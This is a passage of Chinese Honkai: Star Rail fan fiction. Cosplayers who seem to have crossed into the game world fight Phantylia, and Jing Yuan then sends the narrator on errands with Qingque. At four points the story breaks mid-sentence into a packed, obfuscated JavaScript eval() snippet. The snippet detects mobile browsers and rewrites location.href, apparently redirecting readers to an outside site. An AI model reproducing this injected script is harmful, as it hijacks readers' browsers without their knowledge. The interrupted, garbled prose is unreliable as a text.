然而“镜流”并没有对我的话表现出丝毫的在意,她瞧了瞧手里拿着的那不求人,开始给自己挠背。 “真别说,这玩意还挺好用的。” 我认真地看着她,她也认真地看着我;我深沉地看着她,她也深沉地看着她;我渴盼地看着她,她终于回应了我的期待。 “这个故事没有很多的结局,没有很多的开头,没有很多的可能性。”她振振有词地说道,“只是关于我们如何找到‘应星’的旅程。” “你也被他传染了吗?”我说。 “哎呀。”她嘿嘿笑起来,“只是缓和一下气氛啦。” 她整理了一下衣服站起来,感慨着,还好现在变成了件正经衣服,不然以那c服的质量,恐怕早不行了。 仙舟制造—— 质量有保障。 我观察了下四周躺得七零八落的魔阴身士卒,有点担忧地说:“我们还是赶紧离开这里吧,万一待会有人来了,或是他们复苏了,可就糟了。我们顺着他消失的方向走,看看能不能找到一点线索吧。” “镜流”认同地点点头。 于是她带着爱不释手的战利品不求人,跟着我一块儿走下楼梯,估摸着“应星”逃离的方向,追了过去。 前面的区域,现在就来探索吧! 我的脑子里突然响起了一个奇怪的欢快声响,让我不禁感觉,自己好像也串戏了。 “镜流”主动地走在前面。 她说她这是要为我开路。我瞧着她走路的步伐,又想起了之前的场景,忍不住琢磨道:“你,刚刚凝出了冰刃?” “是吗?” 她轻快地回复我,好像自己都没有察觉到这一点。 “是啊。” 我点点头,依旧看着她,她对上我的视线,我们两人彼此之间都仿佛透露着一种“我不知道你知不知道我知道”的感觉。 “也许……” 她微微地顿了顿,然后视线落到远方:“我真的成为镜流了?” - 哈。 “开玩笑的啦!” 她看着我僵直的冰凉躯体,体贴地回复到,并为我展示了她完全不能称之为符合角色的笑容。 我算不得松了口气,也只能跟着她继续往前走。 反正不必担心。 这一路上肯定是—— 要出点什么岔子的。 我已经习惯了,别的先不说,我居然半道上还救起两个遇险的持明。 他们被失控的机巧龙鱼拖拽到了栏杆外的虚空中,上也上不去,下也下不来,我要救他们,结果他们对我大喊:“不要破坏这些机巧,不要破坏我的毕设,那是我的命根子!” 好吧。 于是在“镜流”期待的目光示意下,我只好操控水龙卷把他们和他们的龙鱼湿漉漉地托举回来了。 在工造司,持明族倒是少见。当然,短生种更是少见。如果夸张地来打比方,一百个持明里面有九十九个在丹鼎司打工,剩下的一个在当无业游民。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471719|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>诚恳地讲,这俩持明,一个叫甲一,一个叫乙二,真是非常符合工造司这令人绝望的理工科直男气息。 “感谢少侠英勇相救,不然我的清白毁了,毕设就彻底毁了,我的龙生也要一起完蛋了!” 甲一长吁短叹地怀抱着他的机巧龙鱼,一副我们这辈子永不分离的表情。 “感谢恩人,救我们俩的毕设于水火之中。”乙二则毕恭毕敬地我和“镜流”抱拳拱手,“如有来生,我二人必定推举你们为新的龙尊!” 或许我应该告诉他们—— 其实我们持明的龙尊从来不是选出来的,而是靠黑幕运作上来的吗? 指的是,一直都是同一条龙在当…… 算了,我可不能随意剧透。 “好家伙,说不定你可以成为很棒的持明组长,啊不,族长!”“镜流”用力地拍着我的肩膀道,然后回答工匠二人组,“我替他来回答,咳咳,举手之劳罢了——” 她模仿起来我的声线说话,实在惟妙惟肖,但我不得不说,她的笑话实在太冷了,和她寒冰三尺的手一样冷。 想到这个。 我就觉得后颈皮传来一阵寒意。 两位仁兄还在注视着我。 我抬手捂了捂脖子,趁此机会问道:“对了,你们有看到一个穿着升级版工造司制服的白发男人路过吗?” “……升级版工造司制服?” 他们表示不解。 我也想不出来到底该怎么称呼应星的着装,毕竟我总不能说,就是那个叫“云无留迹的过客”的遗器套装吧。 我接着比划起来:“他大概这么高,这么宽,和这么长。” 他们起先对我的描述有一些疑问,但很快反应过来:“你说的是那身百冶套装?对头,对头,我还在想什么人穿成那样招摇过市,是你们的朋友?这是什么新奇的潮流风尚吗?” “镜流”尴尬地那手里的不求人挠了挠头发:“呃,这叫cosplay!” “cos……play……?” 地铁老人看手机脸.jpg “这外邦新语可真是有趣。”他们不住地惊叹道,“竟连联觉信标也不解其意,看来我们兄弟俩得多加学习。” “嘿嘿,嘿嘿。” “镜流”无助地发出爽朗笑声。 此时的我尚且在看热闹,殊不知接下来矛头就急转朝向了我,工匠二人组一眯眼一挑眉,似是发觉了什么全新宇宙定理,对着我就问。 他们面露惊诧之色:“恩人,我们仔细这么一瞧,您怎么和前任龙尊大人长得如此像啊?感觉就像是从历史课本里走出来的一样。” 我笑着回答:“没事,我很好。” 谢谢你,“镜流”,你乔装打扮的效果其实并不怎么好,我知道的,但还是配合了你。 因为我不想失去你…… 啊,错了。 脑子里忽然就冒出了句歌词。 不过那两个持明工匠愣了一愣,一下子没明白我的意思,接着过了半晌他们又若有所悟地齐声说道:“哎呀,我们的救星大人还是太谦虚了!” 仙舟人的自我脑补能力。 我已经懒得纠正了…… “那个,你们可以好心地告诉我——”我只好再问一遍,“那个男人往哪里去了吗?” “哦哦哦!”他们回味过来,认真地思索起来,“我记得他好像往那边去了,还很匆忙的样子……” 总算,任务有点进展了。 我和“镜流”立刻拔腿就跑,逃离社死现场,然而天总算不遂人愿的,很不幸的事情再度发生了。 我知道,风险管理很重要。 但现在已经来不及了。 我俩刚走下几层台阶,穿过几个入画机关,解开几个强制进行的谜题,正好迎面撞上了—— 停云。 我觉得幻胧不应该在这个时候冒险与我们撕破脸的,然而她却笔直走近了我们,故作地歪了歪头笑起来。 “啧啧,景元的小卒子来了。” 8. 谢谢了 Are you sure? 上来就打终极大boss吗? 或许早在“镜流”说出工造司这个目的地点时,我就该有所察觉的,咱就不该存有侥幸心理! 该来的总会来。 只是没想到来的是幻胧。 此时此刻披着停云形象的幻胧正阴森森地笑着对我们招手,她一摇手便是鸣铃轻响的声音,听得人心里直发怵。 我一扭头又看见我们的好伙伴,“应星”,正一脸痛苦地倒在远处的阴影里。 这家伙真是具有敢于尝试的勇气,说实话,哪个正常人会想到只身一人去刺杀绝灭大君啊。 哎,草。 这样一个单调的字符足以说明我复杂的心情。 停云悠悠地走近我们,又变得一副满脸无害的样子:“哈哈,你们离那么远做什么,不过来玩会吗?小女子可是等得心都焦了啊。” 我看着她,她看着我,而“镜流”正在疯狂地扯我的袖子。 仔细想想,幻胧假扮停云,这何尝不是一种罗浮本地化版cosplay呢。 可真是跟得上时代潮流。 “一个死而复生的傀儡,一个意气风发的疯子,还有一个不要命的傻子……” 她舞了舞手中的扇子,眉目含笑:“这罗浮仙舟可真是让人惊喜啊。” “等等,你把他怎么了?” “镜流”一个激动地喊道,我赶紧抓住“镜流”的胳膊,示意她别随意行动。 “哦~”幻胧回答道,“只是请他在原地稍事歇息罢了,不过没想到,区区蝼蚁竟然能识破我的伪装,这仙舟还真是让人惊喜。” 我马上顺着她的话说下去:“停云小姐,你这样离开他们,他们不会怀疑吗?你现在应该和他们在一起吧。” 没错,按照主线剧情来说,她现在该和列车组一起对战丰饶玄鹿啊。 远处安放造化洪炉的平台确实热闹纷呈,不断有“规则,就是用来打破的”的叫喊声前来攻击我的耳膜。 我觉得我现在可能确实需要一些援兵,然而他们大概一时半会打不完。 所以—— “停云”眯了眯眼,好像在思考我的问题,但是又立马装出一副满不在乎的样子。 她勾勾唇角:“呵呵,你倒是想得够多。放心,我的伪装天衣无缝,稍稍溜出去一会找点乐子,可不打紧。倒是你们,现在可真是我的乐子了。” “是吗?”我糊弄着回答。 本来倒在阴影里的“应星”缓缓爬起来了。我一边提防着“停云”的动作,一边分神去看他。 然后他横眉冷目地就瞪了我一眼。 我:“……” 嗯,没关系,我仿佛从他犀利的目光中读出他的意思,他这是叫我们别打回合制了,也别一个一个上了,要上干脆一起冲啊! 好智慧的方法。 当然,不管这是不是我从那区区的一个眼神中脑补出过多的内容,如今也只有这么一个办法了。 幻胧不会放过我们的。 于是我屏气凝神,尝试想象我自己就是丹枫大人,我很伟大,我很强大,然后气沉丹田呼出一句话—— “贼寇!” 我低沉着声音怒斥道:“你这等雕虫小技,不足为道,还不快快显出你的真身,束手就擒!” 此话一毕,连“镜流”都惊讶地对我侧目而视,好像在说:你小子怎么这么入戏? - 事已至此。 我还能怎么办呢? 先演着了呗。 照这么说,我要真的开始思考了,在这里凭我和“镜流”、“应星”三个coser打败大boss可能性了。 这次,我是认真的。 按照“镜流”的理论,我们不该干涉主线剧情的发展,不然会遇到什么历史的自我修正;而按照“应星”的理论,我们要勇于承担拯救仙舟的使命。 我无法确定到底哪种说法是正确的,不过现下已经管不了这么多了,这场景—— 不是幻胧死,就是我死啊! “应星”的袭击或许使她意识到了自己身份的曝光,那么面对刚巧赶来的我和“镜流”,她绝对会杀人灭口的。 果然,幻胧随即将手腕转过一个常人无法做到的角度,对于我的呵斥恼羞成怒了:“好啊,那么现在,就让这些小家伙来陪你们玩玩吧!” 在这一刻,我多么希望她不是停云,不是幻胧,而是和我们一样的“停云”,苍天,让这cos穿来得更猛烈一些吧! 但可惜,她好像真的是幻胧本胧。 “去吧。” 我条件反射地抬手,召出天矢阴,击中她唤出来的魔阴身士卒。 这些云骑因为受到她的蛊惑而堕入了狂乱状态,我击败一群,就有另一群登时补上。 “镜流”紧贴着我身边挥舞不求人抵御他们,一边颤着音说道:“不会吧,不会吧,难道她以为我是真的镜流,能一个打百个?” “坚持住。”我给她打气道。 “应星”也过来支援我们,转眼间他双臂的袖口就被划破了巨大的口子,鲜血汩汩渗出。 战局不甚乐观。 幻胧站在包围圈的外面面目狰狞地笑起来:“哎呀,瞧瞧这个样子,罗浮的前任剑首,堕入魔阴的叛徒,怎么一副畏畏缩缩的样子,难不成,怕了?” 好一招嘲讽。 但coser可以免疫! 源源不断涌上来的魔阴身士卒牵扯住了我的行动,他们无法伤害到我,但我也没办法摆脱他们。 “那就让我来帮帮你们吧。”她笑着。 也恰恰是在我无法分身短暂的时机,一团青蓝色火焰般的灵体咻的一声飞出了停云的身体。 它笔直地落进了“镜流”的额头。 - “镜流”的身体立刻如提线木偶般剧烈抖动起来,关节扭曲到常人无法做到的角度,就像之前“停云”如何转动手腕和脑袋一样。 “代号96!” 几乎是完全依靠本能反应过来的那一瞬间,我立刻往前扑去,但扑了个空。 “这才是更有趣的。” 幻胧用“镜流”的身体对着我弹了弹手指,密密麻麻的魔阴身士卒刹那间遮住了我的前方,铃音般的笑声仍然回荡在空中。 “你放开她!”我喊道。 “应星”和我不敢轻举妄动,因为她现在挟持了“镜流”的身体,而魔阴身士卒们不知苦痛地筑起了肉/体城墙,将我和她隔开了。 我一时有些不知所措。 直到…… 一道寒冰划破我的视线。 - 我回头一看,是镜流。 等等。 镜流……? 这剧情怎么有一种似曾相识的感觉,我仿佛回到了一切罪恶的开端——长乐天的那条漆黑小巷里。 不过这次是,真的镜流。 她为什么在这里? 说实在的,我慌了,尤其是当她的锐利的目光刺透蒙眼的黑纱落到我身上的时候,她还未开口,我就已经感到大难临头了。 “丹枫?” 等她缓缓开口了,我就感觉自己铁板钉钉地是一条案板上的鱼肉了。 我已经锻炼出条件反射了,随即回答:“你认错人了。” 我觉得这招很少会起效,毕竟人总是更相信自己的眼睛,所谓眼见为实,正是这个道理。 在这一点上,哲学青年“应星”说的没错。 如果我长得像丹枫,说话像丹枫,能够做丹枫能做到的事,那么所有人肯定会认为,我就是丹枫。 因为没有第二种可能了。 除非…… 我是丹枫的双胞胎兄弟? 当然,这种可能性大概比我穿越到“现代社会”再穿回来还小。 “不,且——” 然而镜流却没有继续追问于我,她反手挥出寒霜之剑,如切菜剁肉一般就消灭了扑上来的所有魔阴身士卒。 “待我斩尽一切。” coser到底不能与正主相比的,镜流还是太强大了,踩着魔阴身士卒的身体,一跃便已经到了“镜流”的面前。 她的心理素质实在是太强了,甚至没有对现场为什么出现了另一个自己感到困惑,直接一劈手向幻胧发动攻击。 请原谅,我贫瘠的文字无法描述这天女散花般绚丽的战斗场景。 “小心为上!” 我心切地冲了过去,害怕她会误伤到“镜流”。 但她的冰只在“镜流”的周身凝结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471720|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并没有直接刺穿肉/身。 我看出来她的意图是将幻胧封牢在坚冰之中。 可一位毁灭令使的力量不是轻易能够撼动的,毕竟我看过剧情,纳努克可不是那么好打的! 接下来没有发生什么精彩的转折,面对镜流的威压,最终选择钻透冰墙,仓皇逃窜。 “垂死挣扎的蝼蚁!” 她嘶吼着。 也许镜流的出现让她重新对局势进行了评估,她无奈之下灰溜溜地钻回了停云那具人偶体内。 幻胧一溜烟跑了。 而镜流并没有追出去。 我快步上去接住“镜流”瘫软下来的身体,而“应星”一个莫名的走位来到了我旁边,然后直挺挺地晕了过去。 “谢谢。”我说。 我也想不到什么别的好说。 镜流冷冷地站在原地,看着我左手一个“镜流”,右手一个“应星”地尴尬立在旁边,片刻沉默之后—— 她问:“你……” 我答:“我……” 我觉得她好像是想说些什么,但她最后没有说,只是把手依次搭过我们三人的脖子。 我想起来了我的后颈皮,想起了代号96寒冰三尺的手,然后发现镜流的手比她还冰。 漫长的三分钟过后。 她朝向“镜流”的方向慢慢吐出一句话:“这具偃偶已经报废了。” 偃偶? 我微微张了张嘴,隔着黑纱,我看不清她的神情,但她能看清我的。 “你看不出来吗?”她说,“你可以自己试试,凭脉闻诊、审症求因,不是你最擅长的事吗?” 啊…… 经历了这么复杂的穿越故事,我差点忘记了自己还有个设定是丹鼎司医士。 但我知道她说的不是我。 - 无论如何,我切脉去看“镜流”,确实探查不到一丝生机和神智,甚至她的本体居然就是—— 一具偃偶? 偃偶是仙舟版人形机器人。 这不归丹鼎司管,而是归十王司管,丹鼎司不负责给智械看病。 ……我不太明白,怎么会? 但镜流突然瞧着我,然后她又瞧向咫尺距离的“应星”,低语道:“你不是他……也不是他。” 我想说她确实是慧眼如炬,但此时她的视线越过我的肩头,落向我后方的一个位置,俄而阴沉地呵了一口气,利落地转身离开了。 “你去哪里?” 我不知道为什么,自己的嘴下意识地就问出了这个问题。 镜流并没有理会我,她的长发在风中卷了一卷,然后她似月光一般静谧地消失了。 留给我满地的魔阴身士卒。 而在我另一边的“应星”在这个时候陡然清醒过来,呼啦哗啦地扒着我的胳膊 眼睛里闪出凶光。 我根本没来得及阻止他,他就一跃而起,追着镜流而去。 “这家伙……” 唉,我真是连半句仙舟雅言也说不出来了。 我还扶着代号96的偃偶身,一时间没有办法再去追他,我想我此时的心绪真是乱如麻了,理不清半点。 也不知道到底是想干什么,也不知道现在该干什么,不该干什么。 我只是茫然无措地转了个身,笨重地移了半步。 却正好撞见后头默然战立的景元。 - 他看着我,什么也没说。 “你……好?” 而我对着他一时语塞。 我很确信自己从未与他有过什么深交,然而那双金色眼睛却让我感到记忆犹新,我从未发觉过它们如此深沉。 也许“应星”说得对。 也许他从未错过,无论是那个真的他,还是那个扮演他的他。 我可能是头脑发昏到进入谵妄的状态了,都开始胡言乱语。仙舟药典上有言,分不清自我称呼,乃是精神分裂的症状。 “你做得很好。”然后景元对我笑了起来,“我给你准备了休息的地方,这里交给我,你先去歇一会吧,别担心了。” 我注视着他的眼瞳。 心底突然有一个声音开始在不断重复:你……真的要这么听话吗? 真的,要这么听话吗? 真的吗? 9. 整肃了 彦卿紧接着出现了。 他一直在跟踪我们吗? 他满脸担忧又着急的样子,冲到了景元的旁边:“将军,还有这位先生,你们没事吧?” 我不敢贸然回复,看着景元征询许可,景元却突然伸手过去,揉了揉彦卿的脑袋,彦卿瞬间脸红起来。 景元的态度让我有些不明白。 “将军,我不是小孩了!”彦卿叫道,“您别在外人面前这样嘛……” 我看见景元瞬间收回了眼中的某种压抑,转而笑嘻嘻地对彦卿说:“彦卿,你这样沉不住气,什么神色都写在脸上了,本事还有待修炼啊。” 他尴尬地咳了两声,控制住表情:“将军教诲的是。” 我发现彦卿在用他又圆又大的金色眼睛觑我,可我依旧不明白到底该做什么。 景元做了一个手势,十王司的判官寒鸦从另一个方向走了过来,她挨个检查了地上躺着的魔阴身士卒,最后走到了我面前。 “请交给我吧。”她说。 我愣了一愣,才反应过来。 “她已经……”我犹豫着措辞,将代号96交给了她,“她的意识……” 她的面孔没有一丝动静,就像一张白纸那样。 “理论上,偃偶报废之后,意识会回归幽冥。为了探查清楚事情的来龙去脉,接下来我会去于因果殿的瀛海之中搜寻她的,您请放心。” 寒鸦认真地回答了我,但我知道她应该不清楚我真正想问的。 代号96…… 她是那个“现代社会”的人,她的灵魂能够进入因果殿吗?她是会回到原来的那个世界去吗——那个叫做“现代社会”的地方? 还是会被永久地留在罗浮,留在仙舟,留在这个游戏里?如果她的身体是一具偃偶,那我和“应星”也是吗? 我的疑问有很多,然而我全然不知晓如何去回答它们。 还有就是,幻胧…… “所以接下来会发生什么?”我问,“你们看见了……” 景元走近了几步,彦卿紧紧贴着他不肯放松:“此等小卒,无需操虑。既然你已牵扯其中,我也不必隐瞒了。接下来,我让彦卿护送你回长乐天,你好好休息一下。之后的话,一切照原本安排的那样,他会前往鳞渊境,而我会与他在显龙大雩殿前的海滩汇合。” “鳞渊境?”彦卿不知道为什么他就被三言两语地安排了,“我为什么要去那里?” 景元只答:“为了追击星核猎手。” 我说:“原来你也知道剧情?” 沉默,然后是无言的沉默。 我也不知道我为什么会问这句话,但我总觉得既然已经和幻胧在这里打了一场遭遇战,事情的后续发展会不会偏离原来的轨道? 但景元好像没有任何表示。 寒鸦走了过来,礼貌地行了个礼,说道:“现场勘察完毕,在下先回十王司处理相关证物了,如需了解案件后续详情,可以随时联系我。” 这可不就叫…… 欲知后事如何,且听下回分解。 我感觉这就像是游戏里的任务系统,完成一个任务之后,立马有新的NPC出现来给你发下一个。 景元朝她点点头,目送她离开之后,朝我递出了一块形状特别的玉兆,示意我拿着。 “这是……你家钥匙?”我说。 景元咬着牙,笑容出现了一丝微妙的改变:“当然、不是。” 景元很明显地给了我一个困惑的眼神,我猜他很少会这样直白地袒露想法,可能是因为我的下意识反应实在是太……弱智了。 不只文弱,还是弱智。 愧对知识分子的称号了。 “哈哈,阁下说笑了。”景元最终用一道爽朗的笑声缓解了我引起的尴尬气氛,“劳逸结合,才是工作的基础。我在长乐天客栈为你开了一间上等的套房,你一定要仔细休息一番啊。” 这语气听起来可真亲切。 ……也很像一种威胁。 我不敢再多问了,连忙接过玉兆准备离开,但在这电光火石的一刹那,我猛不丁回想起了“应星”独到的哲学观点和不惧威权的个性。 *一种常见的仙舟植物*。 我只好窘迫地顿了顿脚步,惴惴不安地回头对景元问道:“那个刚刚跑了的……” “他啊。” 景元几乎是秒答,脸上依旧笑眯眯:“没事,我会处理的,你不必担心。” “请一定要抓活口。”我百般确信地说道。 既然景元反复强调别担心…… 那就说明——我真的需要担心起来啊! 但彦卿突然插嘴进来:“就是这家伙!将军,我看他与那个星核猎手如此肖似,才追击至此的。” 彦卿抬起头来看景元。 说实话,这两人的身高差真是太具有典型参考价值了—— “彦卿,你要抓刃,跟应星有什么关系呢?”景元抿了抿嘴对彦卿说。 他继续吩咐:“你先把这位先生安全送到长乐天,然后该去追什么人就去追什么人,下面的事情交给我吧。” 彦卿握着剑的手紧了紧,但找不出任何话来反驳,只得是一副被说服了的样子:“是,彦卿遵命。” 将军的命令一旦下了,就没有收回来的道理。景元对我的态度虽然一直非常和蔼,但我知道违逆他的安排不是个好主意。 看样子。 我不得不被强制下线了。 “记住,到达长乐天客栈之后,自会有人来接应你们。”景元最后嘱托道,眼神里全是我看不懂的深意。 - 实话实说,去往长乐天的这一路上,彦卿看我的眼神算不得清白,咳,算不得信任,气氛紧张得很。 我翻来覆去左思右想。 我搞不懂。 我真搞不懂! 如果代号96是一具偃偶,那我呢?那“应星”呢?想象一下我在“现代社会”生前的最后一眼,如果她回到了“现代社会”,会不会发现其实我被白色吊灯给砸死了?如果她没回去,我要怎么才能去因果殿里找到她呢? 我固然百思不得其解,然而我发现彦卿的眼神比我还困惑。 他一直在用无声的口型不断对自己念叨着:“将军,到底是什么意思呢?” 我怯生生地瞥着他,只敢回答:“将军这么做,一定是有他的深意的。” 彦卿睁着他的大眼睛看我,最终感慨道:“这句式怎么感觉如此耳熟呢。” 总而言之,言而总之。 彦卿顺利地把我送到了位于长乐天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471721|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客栈,这一路上终于没有出什么岔子了,也没啥龙师冒出来搞事。 嗯,也许是因为彦卿是个欧皇? 我不知道景元到底做了什么,或是他有什么样的计划,但如果他有意安排,我不该擅加行动。 而且在彦卿的紧密注视之下,我也只能够在景元给我开的豪华夜景“将军包厢”里静静思考着人生。 这景色实在是一等一的好。 连底下几桌在打帝垣琼玉的人手头的牌是什么花色都看得一清二楚。 说到这个,我正眼睁睁地目睹着一位牌友即将打出“和了”的时候,忽然听得一阵急促的敲门声响起。 *第二种常见的仙舟植物*。 我觉得仙舟雅言文化和“现代社会”大概是不共通的,就像悬峰人的字典里确实有HKS几个字。 题外话,我在穿越之前,版本已经更新到了翁法罗斯,但因为安装包过大,我上台的时候它还没下载好。 我本是不想理睬这敲门声的,假装自己和空气融为一体了。 但彦卿操持着长剑,已经摆出了迎敌的架势,用目光示意着我,我不好驳斥了他的面子,只好过去先把门拉开一条缝。 然后青雀小姐的脸出现在了我的正前方,满脸势在必得的样子。 太好了,是青雀! 她问:“你就是「吞日君」吧!” 我即答:“不,我不是。” 谢邀,过去的中二还在追杀我,难道这已经成为了什么接受暗号吗? 青雀露出极为困惑的表情,挠了挠头,然后释然地笑了笑,好像在说,太好了,既然找不到人,那我干脆去打帝垣琼玉吧。 这可不妙! 我连忙找补道:“虽然我不是很想承认这个名号,但我确实是你要找的人,青雀小姐。” “哎呀。” 青雀失落地垂了垂手:“我还以为现在就可以下班了,没想到居然真的接到人了。” 我依稀记得我只在“镜流”的账户里认过一认她,不过现在回想起来,好像我曾经翻到过她的一份医案。 上面说她手部肌腱炎犯了来丹鼎司开病假条,白露大人给她检查了一下,说她这是打帝垣琼玉打得! 非常符合人设的一集。 虽然这就是本人。 “青雀小姐,太卜司情况如何?”彦卿收了剑,走过来客气打招呼。 “就那样,就那样啦。”青雀瞧见彦卿,两眼又突然放出光,“既然彦卿兄弟你在这里,那我先走了,将军的差事就交给你了!” 我看出来了,青雀这是想甩锅! “不不不……”这下儿居然连彦卿都急起来了,“我还有要犯要追捕,将军交给你的差事,就麻烦你费心操办了!” 许是怕青雀真的临阵脱逃,彦卿急忙提起剑,脚步如飞地跑了。 “唉!!!!!!” 青雀摇了摇头,又摇了摇头。 我趁势赶忙追问:“青雀小姐,将军交代我们接下来要干什么了吗?” 青雀从袖口里掏出一张玉牌,啧啧几声地把它搓亮,看了看花色便哀叹道,今日诸事不宜,而后方才抬头看我道: “哦,景元将军拜托你去地衡司坐镇,整肃整肃那里的摸鱼风气,顺带把我也整肃一下。” 10. 弃疗了 景元选的客栈地理位置极佳。 下楼就是地衡司的公廨,转个弯就是几桌帝垣琼玉,方便上班下班摸鱼,咱们罗浮的文化风气就是这样的浓厚。 走之前我特意问青雀,我们是不是应该避人耳目一些。 毕竟我在镜子里左看看右看看,都觉得这张脸特别逼真,这两只龙角也是。若是走到那群龙师面前,他们不可能不气得跳起来。 这就像是出cos的时候坐了地铁,总有那么些路人,会用一种看傻子的眼神看你,觉得你这是奇装异服,有违公序良俗。 不过青雀倒是斩钉截铁地回答我:“将军说了,不必!” “真的?”我没法反抗,只能疑问。 我知道她很急,所以我们确实走得非常急,她大摇大摆地就领着我直接就进了地衡司的大门。 我不知道景元到底是怎么跟相关人士解释我们这群cos穿的家伙,但既然“相信景元的安排”和“违背景元的安排”两个选项摆在面前,是个人都会选择前者的吧? 作为一条龙,我也会选择前者。 我与青雀一进到公廨里头,就看见了大毫兄弟愁眉苦脸地饮着星芋啵啵,桌子上堆着的文书都快把他活埋了。 据说这星芋啵啵是用固态净水和垃圾做成的,喝了能不愁眉苦脸? 作为前丹鼎司医士,我强烈建议大家不要为了健康牺牲自己的快乐。 青雀看到小山似的文书,啧啧摇头:“我觉得这儿的劳模气氛实在与我不合。” 大毫一拍桌子站起来,就向我们诉苦:“两位可算是来了,我这儿简直是要疯了,你们知道的,星核诱发了大量云骑军的魔阴身,流云渡和迴星港都受了灾,刚巧赶上建木生发,太卜司、工造司和丹鼎司也是大面积停摆的状态,幸好长乐天这里被保护得比较好,不然我们更是有的忙了。” “所以景元将军派我们前来整肃整肃……”青雀笑嘻嘻地答,“啊不,前来支援支援。” 我跟着青雀点头。 “我们将军不愧是出身地衡司世家的——”大毫已经痛苦到迅速地把星芋啵啵给嗦干净了,“还是会体谅我们这些人微言轻的执事官。” 他叹着气从成堆的书山里掏出了一份文件递给我。 我拿到手里一看,上面写着几个明晃晃的大字:《十王司对神策府对于十王司通告的偃偶失控案件的答复意见的批复》。 好长一句话。 但我发现了关键词! “哎呀,不好意思,我拿错了。”然而大毫瞬间从我手里抽回了这沓纸,递出另一份文件,“那个是要送去神策府的,这个才是要交给大人您的——” 大毫的表情十分诚恳。 我再次低头一看,这次的标题总算比较简洁了:《丹鼎司伤亡人士统计名单》,只不过上面还多了一个半圆形的棕色咖啡印记。 我想着“偃偶失控”那几个字,又想着大毫超高速的动作,抬起头对上大毫期待的目光。 “将军的意思不会是让你偷偷把前面这份文件泄露给我吧?”我说。 大毫呵呵笑起来:“怎么可能!” “您久不闻世事,或许不知道……”大毫欲盖弥彰地解释起来,“这罗浮六司往来的行政文件全部是要通过地衡司转接的,刚刚纯属,我的失误!” 显然,这个理由不能说服我,但我突然想起了另一件非常重要的事情。 非常之重要。 - “因此,就麻烦你们帮我去丹鼎司确认一下这份名单。”大毫握着我的手,差点涕泪横流,“待名单确认完毕之后,便可以安排恤金的发放,事关重大,感谢您的帮助。” 虽然从这话里头闻出了一股强买强卖的感觉,但我深表理解。 “既然如此,要不我们先去丹鼎司走一趟?” 青雀这个时候倒是充满干劲,可能是为了逃避本职工作,其他的都来者不拒了。 “放心,有这位能人在,地衡司的麻烦保管迎刃而解。”她许是看我不回答,立马补了一句。 “没错,没错。”大毫连忙捧场,“那么就靠您嘞。” 而我实际上在想另一件事。 之前的被强制进行了一场幻胧遭遇战,以至于我忘记了有关自己的那件事:我死在了丹枢率领的药王秘传叛乱之中。 所以这份名单上理应有我的名字。 “那个……” 青雀递来一杯仙人快乐茶:“您不会不想干了吧?别啊,那我还得回去挨符太卜的骂了!” 我在苦思冥想,而青雀在想着她的摸鱼大业,人之常情,无可厚非。 “那走吧。”我说。 所以,天知道在她强行拉着我穿过长乐天的大街小巷,进入丹鼎司的区域时,我手上的动作到底有多疯狂。 这厚达一百页的名单里,每一页又有长达一百条的数据,不仅死伤的人类被算进去了,什么被踩烂的实验金鱼,逃跑的看门机巧金人都被算在里面了。 我们仙舟还是人太多了! 我仔仔细细地检查过所有条目,最后发现了一个细思极恐的事实: 这上面竟然没有我的名字。 虽然短时间内经过了这么多波折,差点连自己的真名也不记得了,然而我还是瞬间感到冷飕飕的风渗进了我的骨头里。 “您怎么了?” 青雀看见我僵硬的步伐,已经产生了疑惑,我对上她的眼睛,实在觉得这没办法三言两语解释清楚。 但非常完美地,她好像又误解了我的意思:“啊对对对,我给忘了,稍等稍等,惊喜马上就来。” 我眼睁睁地看着她跑远了。 然后她很快去而复返,还带来了两个丹鼎司的医助,在我面前铺起一道长长的红毯,而红毯的尽头正好路过了一个白露。 “将军交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471722|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代了。”青雀十分满意,“排面一定要给够!” 我抬起手:“这……” 可太够了。 